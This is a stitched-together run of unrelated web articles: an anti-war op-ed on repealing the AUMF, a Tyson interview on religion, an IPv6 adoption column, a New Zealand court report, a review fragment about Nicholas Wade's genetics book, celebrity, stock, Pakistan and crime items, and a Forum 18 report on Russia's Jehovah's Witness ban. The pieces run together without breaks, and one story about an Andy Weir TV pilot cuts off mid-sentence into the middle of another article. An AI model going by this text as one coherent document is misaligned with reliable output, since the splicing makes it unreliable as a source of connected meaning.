Now, Rep. Lee has introduced H.R. 198, a measure to repeal the Authorization for Use of Military Force. (This week, several thousand people have already used a RootsAction.org special webpage to email their Senators and House members about repealing that “authorization” for endless war.) Opposed to repeal, the Obama administration is pleased to keep claiming that the 137-month-old resolution justifies everything from on-the-ground troops in combat to drone strikes and kill lists to flagrant abrogation of civil liberties.
A steep uphill incline faces efforts to repeal the resolution that issued a blank political check for war in the early fall of 2001. Struggling to revoke it is a valuable undertaking. Yet even repeal would be unlikely to end the “war on terror.”
At the start of 1971, President Nixon felt compelled to sign a bill that included repeal of the Tonkin Gulf Resolution. By then, he had shifted his ostensible authority for continuing the war on Vietnam—asserting his prerogative as commander in chief. Leaders of the warfare state never lack for rationales when they want to keep making war.
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In retrospect, the U.S. “war on terror” has turned out to be even more tenacious than the U.S. war that took several million lives in Vietnam, Laos and Cambodia during the 1960s and early 1970s.
Some key similarities resonate with current circumstances. Year after year, in Congress, support for the Vietnam War was bipartisan. Presidents Johnson and Nixon preached against unauthorized violence in America’s cities while inflicting massive violence in Southeast Asia. Both presidents were fond of proclaiming fervent wishes for peace.
But unlike the horrific war in Southeast Asia, the ongoing and open-ended “war on terror” is not confined by geography or, apparently, by calendar. The search for enemies to smite (and create) is availing itself of a bottomless pit, while bottom-feeding military contractors keep making a killing.
Beyond the worthy goal of repealing the Authorization for Use of Military Force is a need for Congress to cut off appropriations for the “war on terror.” A prerequisite: repudiating the lethal mythology of righteous war unbounded by national borders or conceivable duration.
What may be even more difficult to rescind is the chronic disconnect between lofty oratory and policies digging the country deeper into endless war.
“We, the people, still believe that enduring security and lasting peace do not require perpetual war,” President Obama said in his 2013 inaugural address, after four years of doing more than any other president in U.S. history to normalize perpetual war as a bipartisan enterprise.
Repealing the Authorization for Use of Military Force will be very hard. Revoking the power to combine lovely rhetoric with pernicious militarism will be even more difficult.This weekend, CBS Sunday Morning aired an intriguing interview with Neil deGrasse Tyson. But one of the most relevant parts of the interview was axed from the main broadcast and instead posted to their website. At one point during the interview, Tyson was asked if he believes in God, or a “creator.”
“The more I look at the universe, the less convinced I am that there is something benevolent going on,” Tyson said.
“I look at disasters that afflict Earth, and life on Earth: volcanoes, hurricanes, tornadoes, earthquakes, disease, pestilence, congenital birth defects — you look at this list of ways that life is made miserable on Earth by natural causes, and I just ask, ‘How do you deal with that?'”
Tyson said that if science and inquiry someday leads to evidence of a creator, then that’s “not a problem.” But that’s not where we’re at now.
“There’s just no evidence of it.”
“And this is why religions are called ‘faiths’ collectively,” he continued. “Because you believe something in the absence of evidence. That’s what it is. That’s why it’s called ‘faith.’ Otherwise we would call all religions ‘evidence,’ but we don’t for exactly that reason.”
Watch the full segment in the video below:
Featured image via screen grabA decade old guessing game finally came to an end during these 2012 summer months.
America was supposed to be hopelessly behind while Europe had not much to show after a decade of spending lavishly EU money on IPv6 related projects. China and Japan were thought to be light years ahead of everybody else. But in the end, it was the might of the American Content Industry that tipped the scales. They added the needed momentum to the US Federal procurement policies that got the supply side seriously moving over the last couple of years, including equipment, software and network service providers.
This summer will have delighted IPv6 watchers as a growing number of sites allow them to witness the evolution of the global IP network and its constituent parts in quasi real time. APNIC IPv6 measurements make it easy to compare and track the relative rankings based on AS numbers and geographies. This is complemented by a most interesting site that tracks the progress on the content side identifying who in the Alexa 10,000 supports IPv6. A cross reference, with the Alexa ranking proper, ferrets out who talks and who walks the walk. A cursory look just showed 5 of the Alexa top 10 ranked sites in the world providing access in both IPv4 and IPv6. They are the top four, Google, Facebook, Youtube and Yahoo as well as number six, Wikipedia. The five top delinquents in the top 10? Number five Baidu (China), number seven Windows Live, number eight Twitter, number nine QQ.Com (China), and number ten Amazon.
Google stats and more recently Akamai also give a good appreciation of the state of IPv6 while the world's premier internet exchange, AMS-IX in Amsterdam, continues to provide relevant readings of the IPv6 traffic accumulating in the global IP bloodstream. By now, most major ISP's also track IPv6 traffic within their networks more seriously or have at least allocated some money to upgrade their tools.
When the IETF crowd gathered in Vancouver in late July, participants had the chance to attend a bell weather ISOC sponsored IPv6 panel that included inter alia Google, Akamai and Comcast. To see Verizon Wireless listed in the top IPv6 ranking reflected the break neck pace of deployment of LTE and the astonishing growth of Mobile Broadband. This was gratifying as we postulated some time ago in these columns, that LTE could eventually be a key catalyst for IPv6 adoption and growth.
On a side note, the Canadian ranking for AS originated IPv6 traffic earlier today shows Teksavvy of Toronto (AS5645) in the lead, followed by Montreal's Videotron (AS5769) and Allstream (AS15290) in third position. A week ago, Videotron was in the lead. The list of the top 20 worldwide also evolves week by week while the number of networks reaching the 1% and 2% thresholds grow at a fast pace. Fascinating to watch but extrapolation is by no means much easier than before.
This summer of 2012, IPv6 discovered adulthood.Wellington's Somali community is fearful about the imminent release from a psychiatric hospital of one of their own, who has a long history of sexual offending.
Photo: RNZ / Alexander Robertson
Mohyadin Farah, who came to New Zealand as a refugee in 2001, was charged with rape and assault in 2015 but was found unfit to stand trial.
He has spent the past two years as a special patient.
His case was back before the Wellington District Court this week. At the hearing the Crown indicated no evidence would be offered on the charges and Judge Bruce Davidson dismissed them.
It is understood that occurred because, four years after she was attacked, the victim was no longer willing to give evidence.
The current charges were not Mr Farah's first contact with the justice system; he has previously been jailed for indecent assaults.
A person who knows him well was not willing to speak on the record but told RNZ Mr Farah was a ticking time bomb.
On one occasion, he approached a woman on a bus and grabbed her breasts and, when she tried to move away from him, he tripped her up and then shouted in Somali that he would kill her and do "bad things" to her.
He told the woman he knew where she lived, and he was going to come and rape her.
Another similar incident led to Mr Farah being trespassed from Wellington buses.
On another occasion, he knocked on the door of a woman who was unknown to him, repeatedly said he loved her and asked her for kisses.
In other incidents, Mr Farah approached strangers, made explicit sexual advances and, when they were rejected, forced his way into their homes and indecently assaulted them.
In 2015 Judge Ian Mill said Mr Farah had suffered considerably in his life and, while he was vulnerable, he was also dangerous to others.
That sentiment is echoed by Wellington's Somali community and one of its elders, Adam Awad, said his release from hospital will raise concern in the community, which has strong memories of his past offending.
"He gets very angry without reason and scares the people; [he] shouts at them and he's really very aggressive and very strong as well."
"The people [in] the Somali community, most of them are solo mothers and children and when you have that kind of person, very strong man suffering from these mental health disorders, it's really very scary."
Brenda Midson, a senior lecturer from Waikato University who has researched evidentiary issues in sexual assault cases, said it was not surprising that Farah's alleged victim was unwilling to give evidence so long after the charges were laid.
She said while the justice system has made significant inroads to improve arrangements for sex crime victims giving evidence, it is still pretty traumatising.
"If you're not used to that sort of environment... particularly in cases where you've been victimised by the defendant in that sort of way, going to court can really just open up all that trauma again."
Mr Awad said Wellington's Somali community would be willing to help Mohyadin Farah settle back into society and even try to find him a job, but because of the past issues, some people could still be reluctant to be around him.
He said he would like to meet Mr Farah before any encounters with the community, to ensure that his mental health issues have settled and he has recovered.
"The community members... will ask me how he is, whether there is concern, should they approach him and I have to help them.
"I [also have to consider] how he can come into the community, how he can come to the meetings of the community.
"That's how you integrate easily - you come to the meetings, you can talk to the people and that's the way to do it."
A deportation order was issued for Mr Farah in 2008 and in 2015 his family told the court they were keen for him to be sent back to Somalia, but the order was not actioned because of the outstanding police matters.
It was also noted at that time there was no government in Somalia that could issue a passport or a travel document allowing him to be removed from New Zealand.
Immigration New Zealand's assistant general manager Peter Devoy said the service also found there was insufficient evidence to cancel Mr Farah's refugee status.
"Under the Immigration Act 2009 a person recognised as a refugee cannot be deported unless the Refugee Convention allows his or her expulsion for being both convicted of a particularly serious crime and being a danger to the country of refuge."
Capital and Coast Health was asked to confirm whether or not Mohyadin Farah is still in its care but declined.
A spokesperson said doing so would breach its obligations under the Health Information Privacy Code and the Privacy Act.The Martian was a huge success in both bookstores and movie theaters, and it catapulted author Andy Weir into a rarified atmosphere when it comes to science fiction authors. Now, he’s setting his sights on a new medium: television.
Deadline reported that CBS has given a pilot order for Mission Control, a NASA-themed drama that “revolves around the next generation of NASA astronauts and scientists who |
Asians.
His Penguin Press book “A Troublesome Inheritance: Genes, Race and Human History” arrived in bookstores on Tuesday, May 6.
Wade’s main thesis is that “human evolution has been recent, copious and regional.” He writes, “Though there is still a large random element, the broad general theme of human history is that each race has developed the institutions appropriate to secure survival in its particular environment.”
Blogs that focus on genetics — in particular those which see racialism as a given of life — have been anticipating the book’s publication since review copies were distributed in mid-winter. Some wondered if it would prove a cultural bombshell — “The Bell Curve” on steroids. That 1994 book argued that racial differences were key to understanding intelligence.
Yet to date, Wade’s book has drawn relatively little attention from the mainstream media and prominent pundits.
In a review on The Wall Street Journal’s opinion pages, “Bell Curve” co-author Charles J. Murray called the book “historic” for its honesty about racial differences but also questioned some of Wade’s reasoning.
In Slate, Andrew Gelman, a professor of statistics and political science at Columbia University, said the book’s central theories were “simultaneously plausible and preposterous: plausible in that they snap into place to explain the world as it currently is, preposterous in that I think if he were writing in other time periods, he could come up with similarly plausible, but completely different, stories.”
On his “Marginal Revolution” blog, George Mason University economics professor and regular New York Times contributor Tyler Cowen said he was disappointed with the book — not because he disagreed with its main theses — but because it was not as well-argued as he hoped. Cowen specifically faulted Wade because his “discussion of intelligence and its evolution should have been drenched in the Flynn Effect. It wasn’t.”
The Flynn Effect is a term coined in “The Bell Curve” to describe the volumes of research by New Zealand scholar James R. Flynn showing that IQ scores have been steadily rising around the world for decades, but in an uneven fashion.
Wade’s first book about how genetics have shaped history — “Before the Dawn: Recovering the History of Our Lost Ancestors” — got a largely positive critical response in 2006. The Times’ own review, however, questioned his repeated assertions of the “hard truth” of racial differences.
In “Before the Dawn,” Wade wrote that sub-Saharan Africans were generally less likely to have two alleles — genetic DNA codes — associated with cognitive skills. The book triggered feuding between Wade and anthropologists that continues to this day.
Correction: Wade tells blogger Luke Ford that he retired from the Times 2 years ago, but still contributes articles to the paper. Neither Wade nor the Times returned earlier requests for comment on the matter.Remember when Lil Wayne started Young Money Sports back in 2014? There was some talk about him possibly making Cristiano Ronaldo his first client, and it sounded like Wayne was going to play a major role in representing some big-time athletes. Whatever deal he thought he had in place with Ronaldo seemed to fall apart, though, and since then, Young Money Sports has more or less fallen off the radar.
But it appears as though Young Money Sports is still kicking, because earlier today, TMZ Sports revealed that the agency has signed Florida State linebacker Reggie Northrup to be their first NFL client. Wayne posted the photo you see above on Instagram, and Wayne’s manager Cortez Bryant took to his Instagram to reveal that he's down in Tallahassee, Fla. for Northrup’s pro day:
A photo posted by Cortez Bryant (@tezzington) on Mar 29, 2016 at 8:20am PDT
Stay tuned to see if Wayne is able to convince any other NFL draft prospects to sign with his agency.
Send all complaints, compliments, and tips to sportstips@complex.com.
[via TMZ Sports]It's been a bad week for Zynga. It's stock took a dive earlier in the week, falling over 41 percent to a low of $2.99 (at the time of this writing, it is trading for $3.17 a share). But what's really notable is the fact that many large investors in the company -- including founder Marc Pincus -- had recently cashed out huge amounts of Zynga stock, to the tune of $516 million.
In April, which as Yahoo Finance notes is in the same financial quarter that the company's poor earnings prompted its stock to fall, Zynga held a "secondary stock offering." This offering consisted solely of stock owned by Zynga executives and well-heeled investment houses. All told, they sold off 43 million shares at $12 a share -- shares which are now trading for a little over $3.
Marc Pincus himself sold 16.5 million shares for over $200 million. Zynga CFO David Wehner sold 386,000 for $4.6 million, and former EA and Microsoft exec and current Zynga COO John Schappert sold 322,000 shares for $3.9 million.
While there is no evidence of wrongdoing as yet, it certainly looks suspicious when so many company insiders dump stock in the same quarter that the company's financials go south.A jobless Pakistani citizen offers his ‘ eye for sale ’ to feed his poor family!
Soaring poverty and socio-economic inequalities and inequities in Pakistan are affecting women the most.
Below are few faces of the rising social and economic disparities in Pakistan and how women are fighting back to survive.
Women artisans at a handicrafts and stitching centre
A woman biking to work confronts a traffic sergeant
A woman cab driver on the road
A girl biking to school with her sisters
A girl biking to school with her sisters
A woman driving an auto-rickshaw
The challenge of basic needs - Food, Health, Shelter...
The challenge of basic needs - Food, Health, Shelter...
The challenge of basic needs - Why Children For Sale?
The challenge of basic needs - Education...
Pakistani Women in the Military
Women Medics in the Pakistani Military
Female Cadets of the Pakistan Military Academy stand guard at the mausoleum of the Father of the Nation
Female Cadets of the Pakistan Military Academy stand guard at the mausoleum of the Father of the Nation
Female Cadets of the Pakistan Military Academy stand guard at the mausoleum of the Father of the Nation
Pakistan Air Force Women Pilots
PAF K-8 Fighter Jet pilots at an AirShow
Pakistani Women in the Police
Meanw hile, the cha m pions of their rights remain busy in mere rhetoric....
Would rhetoric work when even the basic needs remained unmet and the survival was at stake?
And so the disparities continue to flourish....
Members of the National Assembly (2008-13)
President Zardari's new Rs. 5 Billion palace in Lahore, allegedly gifted to by a real estate tycoon
President Zardari's new Rs. 5 Billion palace in Lahore, allegedly gifted to by a real estate tycoon
The Father of the Nation, Muhammad Ali Jinnah, said: ‘there are two powers in the world; one is the sword and the other is the pen. There is a great competition and rivalry between the two. There is a third power stronger than both, that of the women.’
Ain't no country without women!
Ain't no revolution without women!The Arizona Republic-12 News Breaking News Team Fri Jan 17, 2014 4:59 PM
Phoenix police are investigating a home invasion that ended fatally when the homeowner shot the intruder early Friday morning, officials said.
The homeowner, whose home was burglarized the day before, awoke at about 3:15 a.m. Friday to find an intruder in his house near 43rd Avenue and Bethany Home Road, according to police.
Authorities said the resident grabbed a shotgun and fired at the intruder, killing him. Police later identified the intruder as 30-year-old Thomas Mackey.
A neighbor who has lived in the area for more than 20 years said she was awakened by gunfire and barking dogs, but she said it’s not unusual to hear those types of noises in her neighborhood at night.
“It was one of those where I just rolled over and went back to sleep,” said Sandi Corbin, 66, who lives a couple of doors down from where the home invasion took place. She said her house has been broken into six times.
Police remained at the scene Friday morning, with most of the area around 42nd Lane and Palo Verde Drive blocked off as officers continued to investigate.By Victoria Arnold, Forum 18
As Jehovah's Witnesses challenge the Supreme Court liquidation of all their organisations as "extremist", their Centre is closed, police have sealed some Kingdom Halls and bank accounts are frozen. Individuals continue to face fines, children face pressure, and places of worship face increased vandalism.
Bullying and harassment by the authorities against the children of Jehovah's Witness families, further fines for individuals and an upsurge in incidents of vandalism against places of worship have all followed the 20 April Supreme Court ruling that the Jehovah's Witness Administrative Centre and all its local religious organisations across Russia should be liquidated as "extremist". The Centre's activities are suspended, police have sealed some Kingdom Halls and all bank accounts have been frozen. One early denial of a civilian alternative to military service may foreshadow future difficulties for Jehovah's Witness conscientious objectors.On 25 May, FSB security service officers in Oryol arrested Danish citizen Dennis Christensen on suspicion of "continuing the activities of a banned extremist organisation" (Article 282.2, Part 1 of the Criminal Code). The Oryol Jehovah's Witness community was dissolved as "extremist" in June 2016, a decision which came into force in October 2016.The criminal case against Christensen is the first to be initiated since the Supreme Court's liquidation ruling.According to Jehovah's Witness reports, 15 armed men raided a building in which local Jehovah's Witnesses were meeting, took the worshippers' passport details and seized their electronic devices. Several were then taken to the local FSB headquarters, where they were kept until the early hours of the morning. Law enforcement agents also conducted searches of believers' homes.So far, only Christensen has been charged. He is currently being held, "without food", at the FSB building. On 26 May, Soviet District Court in Oryol acceded to the FSB request to hold him in pre-trial custody for two months.The many problems flow from both the 20 April liquidation ruling itself and the Justice Ministry's earlier order suspending Jehovah's Witness activities for the duration of court proceedings.On 19 May, lawyers for the Administrative Centre lodged an appeal against the 20 April Supreme Court liquidation ruling. It is not known when the Supreme Court will hear the appeal.Although the Supreme Court ruling has not yet entered into force, local religious organisations already appear to have been removed from Federal Tax Service records. In the records seen by Forum 18, local communities across several regions were already listed as "liquidated" and their activities as "terminated", with the dates of termination (prekrashcheniye) ranging from 28 April to 12 May. The Administrative Centre itself is listed as having been liquidated on 27 April.Forum 18 tried to reach Svetlana Borisova, who put forward the Justice Ministry's case in the Supreme Court, to ask how Jehovah's Witnesses in Russia can exercise their constitutional right to freedom of religion and belief now that all their organisations have been dissolved and their activities prohibited. The woman who answered the phone at Borisova's Department for the Affairs of Religious Organisations on 26 May refused to answer any of Forum 18's questions, referring all enquiries to the press service.Liquidation ruling followed suspension orderSupreme Court Judge Yury Ivanenko issued the liquidation ruling after nearly 30 hours of hearings across 6 days. It declares the Administrative Centre an "extremist" organisation, orders that its activities and those of all 395 local Jehovah's Witness organisations should be prohibited, and subjects its property to confiscation by the state (see F18News 20 April 2017 http://www.forum18.org/archive.php?article_id=2274 ).According to the written verdict, seen by Forum 18, the ban on Jehovah's Witness activity was effective immediately. The remainder of the verdict will not enter legal force unless the Centre's appeal is unsuccessful, Jehovah's Witnesses explained to Forum 18 on 1 May.The Supreme Court's ruling is also effective in Russian-annexed Crimea, where 22 Jehovah's Witness organisations were registered under Russian law in 2015, Forum 18 notes.The Justice Ministry lodged its suit at the Supreme Court on 15 March. On the same day, the Ministry also issued an Order summarily suspending most Jehovah's Witness activities, including all public meetings and the Administrative Centre's financial transactions (see F18News 21 March 2017 http://www.forum18.org/archive.php?article_id=2265 ).Although the Justice Ministry press service claimed to Forum 18 that the Suspension Order did not apply to meetings for worship, Jehovah's Witnesses described to Forum 18 several instances of law enforcement agents halting services. Some of these incidents have since led to prosecution under Article 20.28, Part 1, of the Administrative Code ("Organisation of or participation in the activities of a public or religious association, in relation to which a decision on the suspension of its activities is in force")."Very sad" consequences of liquidation rulingJehovah's Witness lawyer Anton Bogdanov described the consequences of the liquidation ruling so far as "very sad", adding that "Law enforcement agencies are already attempting to extend the application of the Supreme Court's decision.. to ordinary Jehovah's Witness believers, creating obstacles for them in the confession of their faith".The Administrative Centre's 19 May appeal, seen by Forum 18, claims that the Supreme Court's decision was based on "the presumption of guilt", and not on "a comprehensive, complete, objective, and direct investigation of the available evidence". It also points out that the ruling violates the rights not only of the Centre itself, but also those of individuals and legal entities who were not permitted to participate in the case, and condemns it as unconstitutional and in contradiction of international law.The Supreme Court has not yet set a date for the appeal hearing, but Jehovah's Witnesses believe it could take place as late as September 2017.In the meantime, Jehovah's Witnesses have also submitted a challenge to Judge Ivanenko's refusal, during the proceedings in April, to dismiss the Justice Ministry's suit. The Supreme Court is due to hear this challenge on 13 June.Liquidation ruling "disturbing"Human rights commentators have continued to condemn the ban on Jehovah's Witnesses in Russia. "Whether or not one agrees with the ideology of the Jehovah's Witnesses is beside the point," the then United Nations (UN) Special Rapporteur on the Rights to Freedom of Peaceful Assembly and of Association Maina Kiai commented to Forum 18 on 21 April. "This ruling is disturbing because of the precedent it sets. By defining extremism so loosely and subjectively, it paves the way for the government to liquidate virtually any religious organization that it chooses to target. It crosses the line into criminalizing thoughts and opinions, which is a very dangerous and slippery slope."Michael Georg Link, Director of the OSCE Office for Democratic Institutions and Human Rights (ODIHR), said in a press statement on 25 April that he was "deeply concerned by this unwarranted criminalization of the peaceful activities of members of the Jehovah's Witnesses communities in Russia, eliminating this community as a viable entity in the country". The Supreme Court decision "poses a threat to the values and principles that democratic, free, open, pluralistic and tolerant societies rest upon", he added.Consequences of liquidation suit – both before and after rulingAll the Administrative Centre's activities, including worship, have ceased, Jehovah's Witnesses told Forum 18 on 1 May. Its property in the village of Solnechnoye on the north-western edge of St Petersburg has not yet been confiscated, they added, as this will likely happen only once the verdict has come into legal force. Law enforcement agencies have, however, sealed some Kingdom Halls belonging to local religious organisations.The Centre remains on the list of "terrorist and extremist" organisations maintained by the Federal Financial Monitoring Service (Rosfinmonitoring), on which it was placed when the liquidation suit began and its financial transactions were blocked. It also remains on the Justice Ministry's list of public and religious organisations whose activities have been suspended because of involvement in extremism. The only other entry on this list is the Jehovah's Witness community of Chapayevsk in Samara Region (by order of the Samara Regional Prosecutor on 22 March 2017).The Centre has not yet been added to the Justice Ministry's list of banned extremist organisations (on which eight local Jehovah's Witness organisations already appear), because the Supreme Court's ruling is not yet in force.VandalismThe liquidation ruling has triggered "a wave of aggressive actions" against Kingdom Halls and believers' homes, Jehovah's Witnesses complain. On their jw-russia.org news site (hosted outside Russia), they have recorded instances of vandalism in St Petersburg (20 April), Gukovo (Rostov Region, 22 April), Achinsk (Krasnoyarsk Region, 30 April), Penza (30 April), Lutsino (Moscow Region, 30 April), Kaliningrad (2 May), Novomoskovsk (Tula Region, 5 May), Novokhopyorsk (Voronezh Region, 6 May), Yekaterinburg (14 May), and Izhevsk (Udmurt Republic, 20 May). In at least some of these incidents, the vandals referred directly to the Supreme Court decision, Jehovah's Witnesses told Forum 18.Although damage to Kingdom Halls and other property has been a long-standing problem, these ten cases over one month appear to mark an increase in such incidents since the Supreme Court's 20 April decision. In a September 2016 report, Jehovah's Witnesses stated that Kingdom Halls had been vandalised eight times in the eight months from January to August of that year, while in a September 2013 report, they noted an average of two or three incidents per month between September 2009 and July 2013.The first of the recent incidents took place only hours after the Supreme Court ruling. Two men blocked the entrance to a St Petersburg Kingdom Hall with their cars. They then attacked the building with cobblestones they had brought with them, breaking glass doors and windows and "shouting insults to the religion of Jehovah's Witnesses and threats of physical harm".During the latest reported attack, in Izhevsk, a man broke into the building used for worship by the local Jehovah's Witness community. He smashed furniture, doors and electrical equipment with a "heavy metal object", and set off fire extinguishers before being caught by community members. Police later arrested the man.Pressure on childrenChildren from Jehovah's Witness families have been experiencing "unprecedented pressure from teachers and police", often in school, since the Supreme Court proceedings began, Jehovah's Witnesses complain.In Bashkortostan's capital Ufa on 28 March, a police officer went to a Jehovah's Witness home and asked the eldest son to confirm the family's religion in writing. When the boy's mother arrived, the officer demanded a written explanation as to why she was "involving minors in extremist activity", which she refused to give.On 17 April, a 14-year-old girl was called to the headteacher's office at her school in Rodionovo-Nesvetayskaya District of Rostov Region. There her phone was confiscated and a uniformed police officer and a man in plain clothes "talked to the girl about how her mother forces her to go to a 'terrorist organisation' in which 'they are robbed' and 'are taught to kill people'". The men claimed that Jehovah's Witnesses would "send her to blow up the school" and told her not to go to any meetings, but to stay at home and "just read our Bible, from the church".When two sisters from a Jehovah's Witness family in Pizhanka District, Kirov Region, refused to sing a song about war, their class teacher told them: "You are now banned and we are already fed up with your religion". Later, she said to their mother: "You are now extremists and there will be no indulgence".Alternative service refusedOn 12 May, a military conscription office in the Chuvash Republic refused to give Avel Lukin, an 18-year-old Jehovah's Witness from Shumerlya, permission to perform alternative civilian service instead of being conscripted into the army. Jehovah's Witnesses told Forum 18 that one member of the conscription panel referred to the Supreme Court ruling and told the applicant in a hostile manner: "You can keep your beliefs to yourself, and your faith too." Lukin has appealed against the decision and is awaiting a court date.Conscription into the armed forces is compulsory for one year for all men aged 18 to 27, but alternative civilian service is available for those whose beliefs do not allow them to engage in military activity (see Forum 18's Russia religious freedom survey http://www.forum18.org/archive.php?article_id=2246 ).A Jehovah's Witness spokesperson told Forum 18 in 2016 that young Jehovah's Witness men have usually encountered no problems in choosing alternative service. Apart from refusal of alternative service, as happened in Shumerlya, it remains unclear what consequences might arise if a man cites membership of a banned "extremist" religious association as grounds for avoiding conscription.Arzamas ban suit withdrawnProsecutors have withdrawn their request to ban the activities of an unregistered Jehovah's Witness group in Arzamas (Nizhny Novgorod Region). Hearings took place (after some delays) on 3 and 4 May at Arzamas City Court. At the latter hearing, prosecutors dropped the suit with the agreement of the judge. The written decision, seen by Forum 18, gives no explanation for this.In the Administrative Centre's official objection to the Justice Ministry's lawsuit, published on 4 April, Jehovah's Witnesses note that the Justice Ministry had requested details of all such groups on 20 February as part of their inspection of the Administrative Centre: "The aim of this demand is obvious. It is to prohibit the collective profession of faith in such groups.. it is clear that state bodies are focused on a complete ban on the profession of faith of Jehovah's Witnesses".Local leaders prosecuted after earlier suspension orderThe Justice Ministry's 15 March suspension order forbade the Administrative Centre and all its local religious organisations from "using state and municipal news media, organising and conducting assemblies, rallies, demonstrations, processions, picketing, and other mass actions or public events, and using bank deposits, with the exception of use for making payments connected with their economic activity, compensating for losses (damages) caused by their actions, and paying taxes, fees, or fines, and making payments based on labour contracts".The issuing of this order quickly led to heavy-handed law enforcement tactics, including the disruption of worship by armed police in several locations across the country (see F18News 20 April 2017 http://www.forum18.org/archive.php?article_id=2274 ).Some local Jehovah's Witness leaders have since been prosecuted under Article 20.28, Part 1, of the Administrative Code ("Organisation of or participation in the activities of a public or religious association, in relation to which a decision on the suspension of its activities is in force"). This carries a fine of 500 to 1,000 Roubles.On 15 May, Uchaly and Uchaly District Magistrate's Court No. 2 fined Sh. Gataullin, chair of a Jehovah's Witness community in the Uchaly district of Bashkortostan, an unknown amount under Administrative Code Article 20.28, Part 1. According to an 18 May press release on the Republic Prosecutor's Office website, the Uchaly Inter-District Prosecutor's Office had carried out an inspection of "compliance with legislation on religious associations and combating extremist activity". This found that Gataullin had held a gathering in rented premises in March, "in violation of" the suspension of Jehovah's Witness activities.Similarly, on 19 April, Kyzyl Magistrate's Court No. 2 in the Tyva Republic fined Marat Sharakhov, head of a local Jehovah's Witness organisation, 1,000 Roubles for holding a service. According to Jehovah's Witness reports, police received a phone call on 5 April saying that people were "gathering, talking about religious topics, and discussing the possible end of the world" in a house on the city's Churgui-oola Street.On 4 May, Judge Nataliya Vasilaki of Railway District Magistrate's Court No. 3 fined Stanislav Glotov, chair of the Ulan-Ude community in the Republic of Buryatia, 1,000 Roubles under Article 20.28, Part 1. On 4 April, he had given a brief interview on local TV channel Alternativnoye Televideniye Buryatii (at a journalist's request) about the impending liquidation proceedings in the Supreme Court in Moscow. The prosecutors and judge interpreted this as "using state and municipal media" (explicitly banned in the suspension order).Prosecutors also cited the suspension order as evidence of the illegality of the defendant's actions in a case under Article 5.26, Part 4, of the Administrative Code, which punishes loosely defined "unlawful missionary activity". On 19 April, Muravlenko Magistrate's Court No. 2 in the Yamalo-Nenets Autonomous Region fined Z. Dzhafarov 5,000 Roubles for allegedly sharing his beliefs with the residents of a block of flats on 5 April.Unsuccessful challenge of suspension orderThe Administrative Centre challenged the suspension order unsuccessfully at Zamoskvoretsky District Court in Moscow on 24 April. "The Justice Ministry's order suspending the activities of the Administrative Centre ceased to be active as soon as the Supreme Court's verdict was issued – therefore, such an order no longer has any meaning," lawyer Anton Bogdanov told Forum 18 on 26 April. "The Administrative Centre will continue to appeal against this order, as it has suffered substantial losses while it was in force, and the right to freedom of religion was violated."According to the verdict, seen by Forum 18, Judge Nelli Rubtsova decided that the suspension order was "lawful and well-founded, insofar as the Justice Ministry acted in the interests of the Russian Federation, as well as for the rights, freedoms, and legal interests of an unspecified circle of people...the rights, freedoms, and legal interests of [the Administrative Centre] were not violated, since the organisation had the right to use bank accounts to pay [fees, bills, taxes, fines]".Judge Rubtsova concluded: "The Supreme Court's decision of 20 April 2017 upheld the Justice Ministry's suit. This court therefore finds no grounds for the satisfaction of [the Administrative Centre's] request."Lawyer Bogdanov believes that "This reveals a dangerous trend: following the Supreme Court, all lower courts could take the course of denying Jehovah's Witnesses in the defence of their constitutional rights".Other banning suit continuesDespite the Supreme Court's ruling applying to the activities of all local Jehovah's Witness organisations, prosecutors in Kamchatka are pursuing the liquidation as "extremist" of the Petropavlovsk-Kamchatsky community. Kamchatka Regional Court is due to hear the suit on 2 June (postponed from 23 May).The suit appears to be based on the community's earlier conviction under Administrative Code Article 20.29 ("Production or mass distribution of extremist materials included in the published Federal List of Extremist Materials, as well as their production or storage for mass distribution") on 9 February 2017 (upheld on appeal on 22 March) after a law enforcement inspection allegedly found three discs containing the banned text of "What does the Bible really teach?" on 13 November 2016.Prosecutors had issued a warning of "the inadmissibility of extremist activity" on 19 February 2016, after local residents accused community members of handing out extremist literature in a park the previous summer. The liquidation attempt does not, therefore, appear to be a direct consequence of the national-level ban, but the Regional Court website does note the Supreme Court ruling in its 4 May press release.The last local Jehovah's Witness organisation to be dissolved as "extremist" before the Justice Ministry initiated its suit against the Administrative Centre was the community in Cherkessk, in the North Caucasus Republic of Karachai-Cherkessiya, on 10 February. The Supreme Court rejected the community's appeal on 26 May, according to RIA Novosti.Further consequencesIf the Administrative Centre's appeal is unsuccessful, it will be added to the Justice Ministry's Federal List of Extremist Organisations, which comprises mainly far-right and violent nationalist groups. At present, 59 banned or liquidated organisations are on the List. These include eight Jehovah's Witness communities: in Taganrog, Samara, Abinsk, Stariy Oskol, Belgorod, Elista, Oryol and Birobidzhan (see Forum 18's "extremism" Russia religious freedom survey http://www.forum18.org/archive.php?article_id=2215 ).The state will also confiscate the Centre's property – and that of all local religious organisations.If Jehovah's Witnesses continue to meet for prayer or Bible study after liquidation, they would be liable to criminal prosecution under Criminal Code Article 282.2 ("organisation of" or "participation in the activities of a banned extremist organisation"). Sixteen Jehovah's Witnesses in Taganrog were tried and convicted on these charges in November 2015 after their community became the first to be liquidated as extremist (see F18News 3 December 2015 http://www.forum18.org/archive.php?article_id=2128 ). Their latest appeal is currently pending at the Supreme Court.Individuals who are involved in criminal "extremism" cases – whether convicted, charged, or merely suspected – may also be placed on the "List of terrorists and extremists" maintained by the Federal Financial Monitoring Service (Rosfinmonitoring) of those "against whom there is evidence of their involvement in extremist activity or terrorism". Banks are obliged to freeze the assets of people who appear on the List, meaning that they cannot withdraw or transfer money, receive salary payments, or use their bank cards. Since 30 January 2014, this has been relaxed to allow small transactions not exceeding 10,000 Roubles per month (see Forum 18's "extremism" Russia religious freedom survey http://www.forum18.org/archive.php?article_id=2215 ).If the liquidation ruling comes into force, it is likely that Jehovah's Witnesses facing criminal "extremism" prosecution will be added to the List.Since July 2016, the Religion Law - among many other severe restrictions on freedom of religion and belief - bans former members of banned "extremist" religious organisations from carrying out broadly defined "missionary activity". Punishments can be imposed under Administrative Code Article 5.26 ("Conducting missionary activity").People such as Jehovah's Witnesses who publicly share their beliefs are also liable to prosecution under Administrative Code Article 20.2 ("Violation of the established procedure for organising or conducting a gathering, meeting, demonstration, procession or picket") (see Forum 18's general Russia religious freedom survey http://www.forum18.org/archive.php?article_id=2246 ).Courts around Russia have already placed many Jehovah's Witness texts on the Federal List of Extremist Materials. Now that the Administrative Centre has been ruled an "extremist" organisation, possession of any Jehovah's Witness text could make the possessor liable to criminal prosecution (see Forum 18's "extremism" Russia religious freedom survey http://www.forum18.org/archive.php?article_id=2215 ). (END)For more background see Forum 18's surveys of the general state of freedom of religion and belief in 